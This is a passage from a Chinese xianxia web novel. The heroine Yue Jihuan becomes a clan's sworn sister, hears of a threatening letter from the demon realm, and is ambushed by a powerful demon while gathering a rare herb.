岳寄欢伸手接过玉牌,恰合地收下了这份勉强称得上谢礼的东西。她如今的确需要祝家这样的人间大家添补身世。
只是天下没有免费的吃食。
她淡声说:“那需要我做什么?”
祝衔星颔首:“我祝家危难之时,我要你保住祝家。”
岳寄欢笑笑:“我哪有这么大的能力。”她摊摊手,“你是不是太信任我了些,还是太信任凌云宗。”
祝衔星道:“都有,不过我指的保住祝家——”他语气有些冷漠的残忍,“是指,甚至用命。”
一直听着的三三忽地睁大了眼,想要把手从祝衔星温热扣紧手中挣脱开来,祝衔星却死死拽住他,几乎是以强硬的方式将三三紧拉,不让他走。
三三摇着头:“你不能这么对我阿姐。”
岳寄欢也脸色难看,她冷笑道:“祝庄主也太过无情,弄了半天原来是用我的命,想来是将我彻彻底底当作你祝家的挡箭牌了。”
祝衔星也没否认:“万不得已之时,即使我不说,你也会知道该怎么做的。”
“罢了。”岳寄欢道,“谁保谁还不一定呢,这也算桩公平的交易。”她勾了勾唇,“不过祝哥哥还是不大了解我……”
她语气那么笃定,那么张狂,一字一句道:“我既已是祝家之人,那必然不会让祝家落到那般,需要用性命才能保全一切之时。”
……
离别前,岳寄欢还托了祝衔星一件事。
她道:“希望兄长能帮我找一个人。”
祝衔星问:“什么人?”
岳寄欢:“不知男女,只知手上有一枚妖化过后的暗纹。”
祝衔星沉吟片刻:“线索太少,找到这人需要些许时间。”
岳寄欢点头:“我可以等。”
祝衔星瞥她:“妖化暗纹?想必是堕魔成妖之人,小妹找这人——”
岳寄欢平静地打断了他:“找到,然后杀了,剁成沫施肥。”
祝衔星:“……”真是比他还残暴。
风料峭,雨连绵。
一路走了月余,冬天已经开始消散,春意渐浓,甚至隐隐约约有倒春寒的意思。岳寄欢自丹荷百余里处驿站便止住了步子,同祝衔星他们分别。
临走时,三三又一副泪眼朦胧的模样。
不过他还是尽力擦掉了眼眶里的泪。
方才听祝衔星和岳寄欢之间说话,他半知半懂,又生出点对祝衔星的抗拒之意,只是见岳寄欢对祝衔星所提之事并没有多抵触,也就堪堪压下这点烦闷,倒是一门心思地去盯着岳寄欢看。
好像睁清楚眼睛,透过眼泪多看几眼面前的人,他就不会忘。
不能再哭了。
她会担心。
三三几乎是两步一回头,回头就要眼巴巴盯着岳寄欢看好久。
只是祝衔星没给他多余的时间。
还有很多事情等着他们去做,相比起来,实在没什么多余的空闲把心思放在离别之事上。
小小的三三化成一个接近虚无的点,快要消失在岳寄欢视野里。
眼前,却倏忽投下一片青色的阴影。
这身影挡住了岳寄欢大部分的视线。
她仰起头,对着面前这人的眼睛,淡淡问:“谢师兄还不走?”
谢忧不答她的话:“你做了祝家义女?”
“是。”岳寄欢道,谢忧肯定是听见他们方才在驿站所说之事,这才来问她,她便也没有隐瞒的必要了。
谢忧又道:“条件。”
他面色冷淡,一分情绪也瞧不出。
岳寄欢往后退了两步,眼中闪过几分警惕:“你不是都听见了吗?”
谢忧道:“听了一半。”
岳寄欢道:“你既没听见,那就别知道了。”
面前的少年相比初见之时,身量长得愈发高挺,五官看上去也愈发精致分明了些,低头瞧着岳寄欢时,有种无形的压迫感。
岳寄欢再如何,终究需要微微仰头才能看清面前人的脸。
她又往后退了几步,站得稍微离眼前这片下投的阴影远了一些,站在光影和初阳的交界处,挺直了脊背,望着身前抱臂而立的青色身影。
微弱的阳光很浅淡地将这人的青色衣边勾勒出莹亮,像站在青色的水里,隐隐绰绰。
岳寄欢勉强不用仰头,而是以接近平视的错觉对上这人。
谢忧瞧见她这般举动,撩起眼皮吐了口气:“祝衔星那人并非善类,岳师妹与他做交易,还须多多权衡。”
岳寄欢舔了舔唇角,像是想到什
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么好笑的事情,问:“谢师兄在关心我?”
谢忧微阖的眼睫轻轻颤了颤:“送三三回丹荷期间,你我并无恩怨。”他微妙地一顿,“按照仙都惯例,寻仙山上,你也能勉强算得上是我真正的,师妹。”
岳寄欢:“那便多谢师兄关心了。”
她道:“这是我同兄长之间的事情。”
谢忧见她连“兄长”都喊的这么顺口,轻轻嗤笑了一声,而后说:“随你。”
他踏剑转身而去,悬在蓝得几乎发白的、万里无云的天空中,回身垂眸道:“答应你的事情我会做到,当是我此前关乎三三之事上对不起你。岳寄欢,此后要杀要剐,只剩恩怨,其余两不相欠。”
话音未落,他却如长绸乍然流走,走得太快。
岳寄欢静静待在原地,抬头,遥遥望着这道记忆里熟悉得令她发颤的背影。
风把她眉眼间发丝尽数吹起,一身紫衣,随风飘漾。
她阖上了眼。
前世今生,两不相欠。
惹都惹了。
他做梦。
*
“你要不要同我一道去青鸾宫看看他?”
“伤得很重?”
“也不是,但他是为了帮我们送三三回去才受的伤,总归要去看看。”
“你要去便去吧,我不去了。”岳寄欢喝了口冷茶,将手中一个淡蓝的小瓷瓶抛给柳扶荔,“把这个给他,谢礼。”
“你从哪里来的,不是才还完执事堂那五千灵石。”柳扶荔颇为惊奇地拔开瓷瓶木塞,瞧了眼里头的丹药,“一瓶子一品还息丹,好药啊。”
岳寄欢又给自己倒了杯茶:“前几日去遥香谷借了炉子炼的,卖了一些去还债,这是剩下的。”
柳扶荔:“奇怪,我怎的不知你会炼丹?”
岳寄欢眼睛很温柔瞧他,说出来的话却一点也不温柔:“因为你只知道打牌,赌狗。”
柳扶荔:“……”
前几日柳扶荔才在映月亭同宋折镜单若水推牌九,输了整整一万灵石,输得一塌糊涂,一败涂地。
他咳了咳,试图转移话题:“仲玉回来时身上挂了几处伤,说是祝家有人掀起暴乱,不满三三回去。”
岳寄欢冷冷道:“没死就行。”
“也罢,我知道你和他一直都不对付,”柳扶荔一噎:“那你就不关心三三吗?”
岳寄欢睨他:“三三要是出事了,谢忧还回得来?”
柳扶荔:“万一呢?”
岳寄欢面色不改:“万一?那他回来也没用,我会让他去陪三三的。”
柳扶荔:“……”
他很绝望地睁着眼,又听岳寄欢道:“我给三三系了系心扣,他有事我会知道。”说罢,她晃了晃手中相结的一枚未化形的红扣。
“你理应知晓的,这动乱,”岳寄欢想起两天前系统通知任务三完成的提示音,指尖不由勾上头发,冲柳扶荔懒散道:“想必是借了祝家以外的势力来发起,至于祝衔星和谢忧受伤的理由,就是带着三三一个手无寸铁的小孩。”
“现在应当是处理好了,祝家内部清算,祝衔星本就是打着带三三回丹荷,以此来试探出族内叛徒。现在借着谢忧受伤,他便更好凭着青鸾宫——”岳寄欢打了个哈欠,眸光锐利起来,“甚至是凭着整个仙都,来彻底翻覆祝家。”
“他们之间也交易了些什么,不是吗?”她道。
柳扶荔乍没了方才嬉笑打闹的模样,片刻后,他不咸不淡地问:“为什么这么说?”
“因为——”
“祝衔星的手段不必多言。”岳寄欢搁下了茶杯,支着下巴轻轻笑了声:“至于谢忧,好歹也和他打了这么多年,结果现在来和我说,他被丹荷那群废物打伤了?”
“仙都赫赫有名的少年天才有这么柔弱吗?”窗外投进的阳光溅透了她的发梢,她很愉悦地道:“鬼才信。”
32. 丁香结(二)
祝家动乱之事在两个月后彻底揭过。
春如线,柳如烟。
天光明媚,岳寄欢坐在灵苑内单若水给她搭的木质秋千上慢悠悠晃个不停,柳扶荔坐在一旁的石桌前吃红红果,顺势把手中的信拆开,朗声道:“小妹无须担心,族中之事我已处理妥当,三三也很想你。还望得小妹尽快回信,祝衔——”
柳扶荔的声音猛然顿住,脸色难看得活像吃了腐烂的红红果:“他是不是寄错信了。”
岳寄欢心情很好地坐在秋千上晒太阳,听见柳扶荔这么问,她慢慢停下秋千,疑惑道:“为什么说他寄错了?”
柳扶荔:“他喊谁小妹?”
岳寄欢倾身过来,捻了一粒红红果入口,含糊道:“我。”
手中的信纸被一点点捏皱,柳扶荔不可置信地望向秋千上的岳寄欢,拔高了语调:“他喊你小妹做什么?你去送他们的时候干什么了?早知道我就应该跟着去!”
岳寄欢被他接二连三的惊讶和质问震得头皮发麻,赶忙道:“他没和你说吗?”
柳扶荔怒拍桌子,一下站起身:“他什么都没和我说,天杀的祝衔星!”
见状,岳寄欢很体贴地安抚他,试图打消他的火气:“好了,没什么,不过是认了他做义兄。我身后有了祝家作倚仗,此后行事也方便许多,是桩不错的买卖。”
柳扶荔抱着臂哼哼唧唧:“他这是碰着只有你一个人,我们不在,他趁人之危。”
岳寄欢好笑地看他:“我又不是没从他手里讨到好处,算不上什么趁人之危。”
柳扶荔气呼呼又往嘴里塞了两粒红红果。
廊中天晴,花影斑驳。
“师妹。”
他二人打闹间,不远处,却听灵苑内走廊上传来一阵沉稳的脚步声,而后是宋折镜清凌凌的声音。
岳寄欢抬起头,难得乖顺地应了声:“大师兄。”她最近以来和宋折镜关系缓和了不少,能算得上是正常的师兄妹关系了。
宋折镜颔首,又听旁边的柳扶荔问:“你今日怎的得闲来灵苑内?不是要替师尊去学院内授课?”
授课?
今日学院内有课?
岳寄欢心中浮起一阵不好的预感。
果不其然,宋折镜温柔的声音再次响起:“是,不过今日有人逃课,我便履行职守,前来捉回。”
岳寄欢:“……”天杀的柳扶荔非要多嘴。
她诚恳道:“对不起,我忘记了。”
作为二师兄的柳扶荔今日也很有担当地替岳寄欢承担了一部分所谓的逃课理由:“对不起,我忘记提醒她去上课了。”
宋折镜:“……”你二人真是一丘之貉。
“罢了。”他面色平静,“我今日来找你们是有别的事,今年阳月之时,宗门本要举办仙礼。”
“仙礼?”柳扶荔问,“去年才举办了没多久,今年这么早就开始筹备了?”他一怔,“不是,什么叫‘本’,今年不办了?”
宋折镜抖袍坐下,答道:“极有可能。”
仙礼是仙都上每年一办的成年礼,说得通俗些,也就是人间女子的及笄礼同男子须行的冠礼。
单若水的仙礼在两年前就已完成,至于柳扶荔去年已及弱冠,仙礼早在冬末尾巴上举行完。他那日身着玄服,头簪缠枝金冠,霜雪披身,整个人倏忽褪去身上那股肆意劲,显得更为风神秀异,气势如虹。
与往日身着枫衣的模样看上去大有不同。
但偏偏这人也是个爱撩逗别人的性子。
望着这位在仙礼现场四处乱蹿、惹得师姐师妹们频频脸红的二师弟,宋折镜很冷静地评价:“当真是只会开屏的孔雀。”
单若水点头道:“花枝招展,拈花惹草。”
岳寄欢站在单若水和宋折镜中间,憋了半天没想出用什么词来挽回她二师兄的脸面,最后只得朝对方今日与众不同的打扮上靠,硬生生蹦出一句道:“二师兄今日也能称得上是……”
单若水偏头问她:“什么?”
岳寄欢方要说些什么“丰神俊朗”“俊美绝伦”之类的好词,却听身后传来一道活泼开朗的声音,这声音极大极透彻:“仙姿佚貌!”
仙游峰师兄妹三人:“……”
坏了,柳扶荔这张漂亮的脸放在这人口中,当真是成了仙女了。
高弄舒抬手给了杜一帜一个暴栗,面目狰狞:“你胡说什么呢!也不怕被柳扶荔听了捅你两剑!”
杜一帜“哎呦哎呦”地瞎叫唤:“他现在跑师姐堆里玩得开心死了,能听见才奇怪。”
简林迈步跟在他二人身后,神情冷淡。
不一会儿的时间,换上一副温柔面孔的高弄舒又半推着单若水往别处走,说是给她备了什么惊喜;杜一帜死猪不怕开水烫般要去挑起身处师姐堆的柳扶荔的火气;宋折镜现在接了玄意的传音,临时要回仙游峰内一趟。
霜雪凄凄的原地,蓦地只剩负手而立的简林,还有裹着狐裘,一身金线绛紫的岳寄欢。
身旁一时没有可以聊得上的人,岳寄欢便想着去找今年同样及笄的拒霜,她转身行了个礼道:“简师兄,我还有事,先走一步。”
她说完便抬脚就走,步子迈得又快又急,简林却突然出声喊住她:“岳师妹留步。”
岳寄欢脚步一顿,微微侧身道:“简师兄有何事?”
天上雪落纷纷,是沉沉的暗蓝雾调,有雪花落到前方侧身的岳寄欢发簪处,也有霜凝在身后的简林肩上。
二人一前一后,在雪地里模糊成两个淡淡的星点。
简林未答应,岳寄欢转身疑虑地瞧着他看,而后想起什么般道:“简师兄莫不是想问我拒霜在何处,我正要去找她。”
拒霜自入天星观后便做了简林的亲师妹,排第三,杜一帜是她二师兄。
简林却答:“不是,我想问你……”
他犹疑片刻,还是接着说:“去年天场测试之时,我出言讽刺你一事还未来得及同你道歉,一直没有找到合适的时间。”
“此乃小事,简师兄不必挂心。”岳寄欢摸了摸后颈,朝对面的人笑笑,“简师兄若没有别的事情,我便走了。”
她瞧起来实在是一副心急的模样,不知是要急着去找拒霜,还是要急着离开这里。简林那双在白雪天里分外明彻的黑眸愈发暗沉,他赶在了岳寄欢离开这里前,问出了那个他想了很久,才决心问出的问题:“岳师妹,在你入天场之前,你是不是见过我?”
这样的问题放在别人口中问出,岳寄欢或许会很自恋的认为这是什么老土的搭讪方式。
可这是简林问出来的。
那个天饶长老座下,宗门里最高傲却又最稳重的亲传弟子。
岳寄欢微微一笑,语调很平:“你若指的是我在天端台上喊你的那一声……”她秀眉微挑,“简师兄在仙都也是盛名之人,知道你的名讳,很难吗?”
简林蹙着眉,一时无话。岳寄欢的解释不无道理,此前也不是没有与他不相识之人却能喊出他的名字的事情发生,思来想去,他只得道:“是我多心了,岳师妹慢走。”
岳寄欢行礼,转身而去。
身后那道稍显灼热的目光仍未曾她脊背上离开,岳寄欢唇角勾起一丝浅淡的笑意,她没再回头,只是由着这深深不解和怀疑的眼神持续打量着她,直到她消失在对方的视野里。
看来羡水城一事宋折镜同谢忧并未和多余的人声张,不然简林也不会等到这个时候才来怀疑她,这个时候才从去年的事情回过神来。
这样最好不过。
……
这场淋湿在半边霜雪里的仙礼最后还是由柳扶荔聚在映月亭中的牌局结
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束,只是那晚岳寄欢没有和他们一起,而是陪着拒霜悄悄去了趟寻仙山脚下的羡水城,带了一些新奇的甜口吃食回来。
玫瑰酥蕴酿的淡淡花香似乎还残留在岳寄欢唇齿之间,她咬了咬唇,弱弱道:“二师兄,我想吃玫瑰酥了。”
柳扶荔立马停止了和宋折镜的谈话,侧头看向依旧荡在秋千上的岳寄欢:“待会买给你吃。”
岳寄欢连连点头,又听略略愁闷的柳扶荔继续和宋折镜说话:“说不办就不办了?往年也就罢了,今年泱泱及笄,怎能不办?”
宋折镜听着这人很熟练地喊上岳寄欢的小字,拧着眉道:“这是没办法的事。”
柳扶荔心偏,帮妹不帮理:“去年是拒师妹那几个孩子有仙礼,明年轮到无瑕她们,就今年轮到她岳泱泱没有?我记得之前——”
他蓦地止住了话头,脸色难看。
宋折镜没注意到他这般举动,依旧颇头痛的扶着额:“上京城来的那位不也没有吗?也碰了巧,今年就她二人及笄。”
“那和我没关系。”柳扶荔很不讲理。
宋折镜:“……”你这心还真是歪到没边了。
岳寄欢倚着秋千懒懒搭了句:“怎的了?今年的仙礼办不了吗?”记忆里,上一世中每一年仙礼都照时举办,也不知这世究竟为何,竟连仙礼这样的小事突然取消。
她方才已经从谈话的二人中大概摸索出了大概,便趁着相对而坐的二人未说话,抢先道:“不办便算了,对我来说没什么。”她又想起方才宋折镜所言,宗门内还要另一人也是今年及笄,便说,“至于另一位,同她稍作解释怎样?想必她会理解的。”
柳扶荔“嘶”了一声:“这哪是谁及笄的问题,这是办不办的问题,难不成仙都上下,仙门百家中今年及笄的没两个?那青鸾宫那群小姑娘算什么?”
宋折镜深吸一口气:“真巧,今年不办同人数多不多压根没关系。”
柳扶荔:“……”
他很郁闷地撑着下巴不说话。
岳寄欢只得问:“大师兄可知今年为何不办?”
宋折镜答:“此事还未有几人知晓。”他像是想起什么,脸色非常之难看,脸色阴沉得能滴墨,“前些日子,妖界那边以魔箭为托,飞书一封钉穿在了仙都大门之上。”
他摇摇头:“不过还好,这信立即被取下呈到了天场。”
岳寄欢挂在脸上那抹荡秋千带来的轻松笑意逐渐消失,她抓着秋千绳的手下意识缩紧,骨节都捏得发白,掌心被粗粝的麻绳扎得生疼。
好像有一抹称得上是恐惧和害怕的潮湿雨水,浸透了她的脊背。
明明离一切开始还有整整三年。
宋折镜垂眼说着,他没注意到岳寄欢苍白的脸。倒是闷声不说话的柳扶荔余光掠着她,随即微不可察地叹了口气。
岳寄欢强行冷静下来,压了压自己颤抖的声音:“信上写了什么?”
宋折镜抬起头看她。
他缓缓道:“你瞧着,很感兴趣?”
岳寄欢勉强笑笑:“我担心我的仙礼。”
宋折镜拖着调子长长的“哦”了一声,他今日前来本就是为了把此事告知仙游峰内的几人,事已至此,他也没什么要钓着别人胃口的必要,便淡声道:“说来蹊跷,那信用了上好的紫磨浮金私印纸笺,信上缠了缕极烈的妖气,嗯,还写了仙礼那日的日子,以及——”
他敛着眉眼,头低着,那双丹凤眼却微挑,眼尾勾出一抹微妙的笑意。
看上去不是很担心妖界传信之事,倒像是等着看什么热闹。
感受到对面坐着的人的诡谲目光,柳扶荔撩起眼皮:“什么?要说便说。”
“其实没什么,不过是在末尾留了名,只写了个龙飞凤舞的,”宋折镜修长的手指敲着石桌,思虑两秒后道,“兰。”
33. 丁香结(三)
“那便不是她。”柳扶荔的声音听不出什么情绪。
宋折镜捻了块糕点入口:“我也觉得,妖气一事暂搁,兰嫣师姑的字我还算认得,清雅娟秀,绝不是这般张狂不羁,独特得很。”
细细咀嚼了几口糕点,他又觉得不对:“但是这么多年,万一改了字迹呢?”
“不可能。”柳扶荔打断了他,很笃定地道,“她身上有无法撤除的禁制,长相音调,乃至落笔字形,一律不会改变。”
他把玩着手中的流云玉扇,眼底的情绪淡得像水:“除非她不要命了。”
听闻,宋折镜张了张口,到底没再说什么。
岳寄欢从秋千上滑下来,斜在石桌边搭上了话:“师兄可带着那信?”
宋折镜:“那信还呈在天场琼霄殿中,此等重要物件,不是随意可以取出的。”
说罢,却未等岳寄欢再次开口,他便自顾自地用指尖沾了抹茶水在青灰色的石桌面上了了写上几笔,水痕深深浅浅地烙在石桌上,消失又浮现,最后勉强勾勒出一个模糊的“兰”字。
宋折镜呼出口气,拂袖甩了甩指尖上沾染的茶液:“既要看,那大概是这个模样。”
见状,岳寄欢撑桌倾身凑过去看,柳扶荔则是依旧端坐在石椅上,脊背如松,岿然不动。
他只是漫不经心地扫了眼石桌上即将消散的字,眼底乍然掠起一丝极淡的涟漪,随即收回了目光。
岳寄欢没在意他这一眼,而是睁圆了眼仔细去看宋折镜写出来的这个潦草的“兰”字。
如果宋折镜写的没错,那她看着,总觉得有点眼熟。
她迟疑道:“我瞧着,这字有些熟悉。”
“有些熟悉?”宋折镜瞥了她一眼,“可是在什么地方见过?”
岳寄欢又认真瞧瞧这抹快消失殆尽的字,最后只得摇头:“记不起来,罢了,或许是见过类似的,一时错认。”
石桌上的水痕没有残留多久,阳光下,几乎是须臾便完全消散了。
宋折镜没有在此逗留多久,今日来也不过是将此事告知灵苑内众人,只是单若水不在,也只能把话给了柳岳二人,一来是借着信上的妖气试探岳寄欢,二来是凭着这“兰”字,瞧瞧柳扶荔什么反应。
总归是他想看热闹罢了。
见从这二人口中撬不出些什么中听的,宋折镜干脆抖袍起身告别:“我还有事,先走了。”
柳扶荔而后起身,手中的玉扇虚虚抵着下颌,眸光微转:“等等。”
宋折镜顿住脚步:“怎的了?”
柳扶荔闲闲挑起眉:“仙礼真不办了?”
宋折镜似笑非笑地看着他:“我怎瞧着是你想参加这仙礼?”
柳扶荔心平气和地道:“我是在担心师妹。”
“是吗?”宋折镜笑笑,“实在要办也未尝不可,你心中明白便好,无须我再多言。”
他说罢迈步离开,只给坐在石桌前的二人留下一个削瘦直挺的背影。
灵苑内又只剩下阳光,鲜花,雀鸣,石桌,盏茶,还有对立而坐的师兄妹二人。
柳扶荔执起青瓷茶壶,广袖垂落,腕骨微动,给岳寄欢斟了一杯冷花茶:“玫瑰酥没有,只有玫瑰冷茶。”
岳寄欢执杯啜了一口,却说:“这仙礼应当要办,他们这是打算用仙礼来布个大局,捉了那妖界来人。”
柳扶荔给自己也斟了一瓷杯:“他今日是来瞧我二人热闹。”
岳寄欢:“他倒是有这样的闲心。”她捏着茶杯,指尖摩挲着杯口,“不过既不是兰嫣师姑留的名,那会是谁?”
柳扶荔揽袖落下茶壶:“是只大妖,当然,可能不止一只。”
或许是饮到口中的花茶香气太惑人,岳寄欢眉目舒展:“到时便知,还是说,你现在认出来了?”
柳扶荔:“同你一样,字瞧着眼熟。”
岳寄欢:“是吗?”
不再多言,柳扶荔笑吟吟把对方的原话奉还:“还有半岁,到时便知。”
……
灵气如雾,周身流转。
直到最后一缕灵气袭入丹田之中,充盈之气顿时融进岳寄欢体中,她缓缓吐出一口悠长的浊气,阖着眼不说话。
这方冷洞处于寻仙山上迷雾林处,一般是修仙之人用来静心修炼,渡劫破境。
岳寄欢自筑基之后,便难免察觉修炼速度比上一世缓慢许多,想来是这世杂心事太多,影响到了心境。
玄意也发觉她最近有些心有余而力不足,便道:“徒儿最近可是遇事甚多,丹田有些乱了。”
岳寄欢道:“师尊,此后半岁,我想闭关修炼,也好静心。”她继续说,“无须借宗门灵室,我要去一趟迷雾林。”
“冷洞?”玄意撩起眼皮。
岳寄欢答:“是,还要找一样东西。”
玄意没有说话,他盯着这个年纪不大的小徒弟仔细看了半晌,忽地笑了:“那就提早把那飞仙大会上的奖赏找回来吧,记得,仙礼之前。”
岳寄欢也没问玄意为何知道她要找的东西是圆月草,迷雾林珍贵之物毕竟也就那几样。而对于岳寄欢来说,这一世变化太多,这种重要之物保不齐会提早被他人夺走,想来现在就带回凌云宗才是最好。
毕竟这草的用处可不止作为奖赏。
岳寄欢将丹田中那缕有些躁动的气一压,不可避免地想起前世。
飞仙大会一完,这草在某个目前看起来有些遥远的很久后,可有着不可替代的作用。
所以现在必须拿到,先行带回宗门守好。
宋折镜总不能再把这草拔来作菜吃了。
那盘绿油油的菜似乎还晃在脑中,岳寄欢蓦地睁开眼,飞身出了冷洞。
她辟谷数日,在冷洞中这几月修为大有长进,这几日迷雾林浓雾重,灵兽出没少,来此的修仙之人便也没几个,林间偶尔会传来高昂的鸟鸣,稀疏的兽吼。
四周无人,清净无比,岳寄欢走在林间路径上,时不时扯了身边看见的红红果一吃,要么摘了露花浆叶,总之手没个停的,裙摆扫在花丛疏草间,发出窸窣的响动。
迷雾林中总是流转着淡薄的氤氲清气,有雨后浸透泥土发出的清新意味,浓淡花香,沁得岳寄欢目明心静,心中愈发舒畅。
据柳扶荔所说,迷雾林中的那株圆月草处在迷雾林深处的坠月潭涯边,位置生得陡峭又高,颇有些难取。
他本来想跟着岳寄欢一道来,岳寄欢没同意,只道:“不过一株草,迷雾林中再多难取之物也不是没拿过。”
柳扶荔板着脸:“你现在年纪还这么小,够不到怎么办?”
岳寄欢:“躯体如此,况且我又不是身无灵力之人,此去主要是去冷洞修炼,整整半岁,你担心到哪里去了。”
她拒绝态度太过坚决,想来她一个人去也定不会遇到什么危险,柳扶荔也就答应让她一个人去迷雾林中。
这会,再往前走一盏茶左右的功夫,便能到坠月潭处了。
这坠月潭说是潭,往上看却是一片如云垂纱落的水瀑,瀑下为潭,触及无云之夜,潭中必会倒映出一弯圆月,如月投潭。
整座林子被染上一层黄红,黄昏了。岳寄欢这会没什么御剑的心情,只想着慢悠悠走过去,恰逢夜晚摘了圆月草,还能顺势赏一赏坠月潭的景色。
黄昏日落,花香袭人。
这样好的景色里,一抹紫色的妖气忽地在岳寄欢眼前亮起。
出现得太突然,太猝不及防。
星星点点,是绛紫的鬼焰。
岳寄欢目光一凝,快速后退躲过了这抹妖气的袭来,不再慢悠悠走路,她脚尖点在迷雾林茂密的枝桠间,整个人猛然朝着坠月潭的方向袭去。
寻仙山上迷雾林,怎会有这样浓烈的妖气?
岳寄欢一边思忖着,一边在林间飞旋躲避身后这抹几乎要和她衣裙融为一色的绛紫鬼焰,这鬼焰紧追不舍,堪堪就要燎到她的裙角,若不是她躲得快,怕是身上这件单若水新给她缝制的衣裳裙摆已然被燎得不成样子。
这数月以来在冷洞之中,修炼一事虽不说大有提升,可也算往前迈进了许多。岳寄欢又总爱在其中习法术,于是筑基阶层少往上破了几层,倒是许多各式各样的法术会了不少。
她一边飞奔,一边伸手掐诀:“化雾遮月,罡风,起!”
身后乍然冒出一阵浓白呛人的风烟,把岳寄欢落在林间的身影与身后穷追不舍的鬼焰稍微隔绝开来。
身后这缕妖气瞧着实在浓烈,像是妖界大妖才会带有的气息,岳寄欢不敢懈怠,几乎是使了大半力气往前跑,但再如何修炼,她自入凌云宗以来也不过一年有余,压根不可能是这等大妖的对手。
还真是倒霉。
她有点无奈地想,系统是不给她发布些要人命的任务了,可现在没有任务,又有别的凶险之事朝她袭来。
早知道还不如应了柳扶荔想要和她一起来的请求,好歹能多拖一会儿。
岳寄欢扯出袖中一张黄符,咬破指尖冒血,在符上迅速画了几笔。她借着身后这盏鬼焰将符纸抛入其中,黄符几乎以肉眼看不见的速度被烧灭,化作灰点洒落到昏黄与黑漆分半的天里。
前方几步,就是坠月潭。
感受到身后那盏鬼焰忽然变化,岳寄欢召出玄意此前赐给她的那根迎风枝,抬手回身硬生生挡住了这抹紫色鬼焰袭来的一击。这妖气太烈,她旋着手里的风枝,被这妖力击得往后趔趄好几步,步子堪堪刹在坠月潭边。
岳寄欢捂着心口,喉咙里翻涌着铁锈似的血气。
缓和间,她余光掠了眼潭边涯上那株倒映在月光下,冒着点点莹亮的圆月草。
眼前的危险更令她紧急。
岳寄欢紧紧捏着迎风枝,头稍微低着,在这不知何处而来的妖气再次袭来前,三两步踩着
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潭水跃到了涯边。
不料鬼焰后袭来一道绛紫,这身影随风而动,比她快上一步,伸手一把摘下悬在涯上的圆月草。
岳寄欢瞳孔一缩。
眼前这摘下圆月草的手冷白,腕骨处蕴着淡淡的红,好像皮肤下流淌的东西好像不是血,而是霜。
岳寄欢也一点没犹豫,她翻手化出青岚,狠狠往这双白得如霜的手上刺去。殷红的血随着这人的手背泊泊流出,血一滴一滴下落,刺得岳寄欢眼睛生疼,沾湿了她的裙摆,染红了对方手中的圆月草。
两道绛紫的身影僵持在涯上,几乎要融为一色。
岳寄欢深知她的实力远远不如面前这只妖力深厚到难以测知的大妖。她低着头以剑划石,想要立马离开这大妖身侧。
圆月草不要也罢,性命要紧。
岳寄欢握着剑往后跌,不料,这未看清脸的妖怪却飞身一把捉住她手腕,狠厉地将她往涯下的水潭里扔去。
事发太急,她根本无力反抗,方才手腕被这人滴着血的手紧紧捏着,像是拷上了画满咒文的枷锁。
这会竟不知为何,半分灵力也使不出。岳寄欢整个人像一虹坠星,被这妖从高不见底的涯上毫不留情地抛下。
耳边的风吹得呼呼作响。
眼前的景象虚幻又黯淡,只看得见一望无际的黑天,黑天里的月亮,月亮下的紫衣大妖。
岳寄欢“扑通”一声摔进了潭中。
天上那轮月亮恰如其分地倒映在她落入的那块水域,水面上漂浮着的几盏淡粉玉白的清荷绿枝被突如其来的波澜惊得摇动,月影被这抹迅速下坠的身影砸出一圈一圈的波漾,散成千百片霜白的粼光,如银芒碎瓷四溅。
“呃——!”
她痛呼一声,仰面朝天,大半身子都浸穿在水潭里。
坠月潭下的水潭不算很深,甚至算得上极浅,倒落其中,也只能堪堪淹没过身。
岳寄欢呛着口中的水,想要强行撑着潭底起伏不平的棱石站起来。
青岚剑方才也随她落到水中,静静沉在一旁的水底。
还未等她起身。
浸在水中的手腕被人倾身一把拽起,岳寄欢整个人被这股无法抗拒的气力提出了水潭。
月光下,这张分外白皙的脸满沾水珠,这折射出鲜血与月色的水顺着她的脸颊,贴合的发丝,绛紫的裙摆往下滴落,一滴滴砸进下身的潭里,滴答滴答,在分外寂静的夜林间,扰得人心烦意乱。
等到水滴彻底从眼睫滚落,岳寄欢睁开了眼。
面前的人,不对,是那只追了她一路还抢走圆月草的大妖此刻正站在水里,箍着她的手腕将她拉出水面。
背对着莹莹月光,面对着波澜的水光,这大妖生得实在俊美,眼尾上挑,眼眸含情,一张脸精致无双。丝缕墨发用了同色的绛紫绸带微束,发带同其散散披落。
再往下扫,一身绛紫长袍垂落如夜,衣摆处绣了极其精致的金线蝴蝶,银边暗纹勾勒其间,衣裳垮垮搭在身上,不显松散,反而更显矜贵闲闲。
必是妖界身份尊贵的大妖。
岳寄欢绝望得只想叹气。
若不是此刻被这妖狠厉地抓着,她或许还会多看上几眼对方。
现在可没心情,命都要没了。
只是,吃痛间,腕上的力度忽地松懈。
面前的大妖在看清她脸的那一刻脸色乍变,冷白的脸似乎愈发白了些,随即又漫上点难言的神色,眼眸微眯。
岳寄欢试图挣扎:“你放开我!”
腕上力度骤减,她猛地脱力,又一下子跌进水里。
岳寄欢呛了两口水,其中混杂着几缕浓烈猩红的血丝。掌心往水中摸索了几番,摸到了青岚剑的剑柄。
她捏紧了剑柄,微不可察地往后退了退。
跑!
身前站在水中的妖似乎是知道她想逃,忽地撑住潭边玉石圈,整个人倾身探来扯着她衣袖,一把将她重新拉回水中跌坐,而后伸手掐住了她的脸,想要扼住她的喉咙。
青岚剑又“咕嘟”一下没进了水底。
冰凉刺痛,岳寄欢吃痛不已,知道跑不掉,她半阖着眼不再说话。
今日莫不是要折在这里。
月下,身前的妖孽正强硬地掐着她下颌,指尖滑上脖颈,将她的脸转了方向,强迫这张此刻略显狼狈的脸对着他的眼睛。
他似乎仔仔细细打量了面前的人很久,随后指尖微动,稍显亲昵地擦去了岳寄欢唇边的血痕。
月色袭人,波风泠泠。
倏而额间一痛,感受到脸上传来的冰凉触觉,岳寄欢被迫睁开了眼。
她的眼睛漠然而透彻,在月下泛着一层浅薄的血丝。
眼中妖孽一张脸艳丽鬼魅,唇似涂朱。褪去方才那股直冲她而来的杀气,现在,他却只是看着她笑盈盈道:“找到你真是好生不易啊,阿吟,又把我忘了吗?”
34. 丁香结(四)
岳寄欢下意识蹙起眉。
这妖……无论这一世还是上一世,她并未见过。
岳寄欢颤颤垂下眼睫:“你认错人了,我不认识你,我也不叫阿吟。”她喉咙一紧,发出些没什么威慑力的警示,颇能屈能伸,“我方才已然烧了传讯符,仙山上其他人即刻便到,你若是现在走,还来得及。”
言下之意,便是要以对方这瞧起来岌岌可危的姓命,来换自己能活下去罢了。
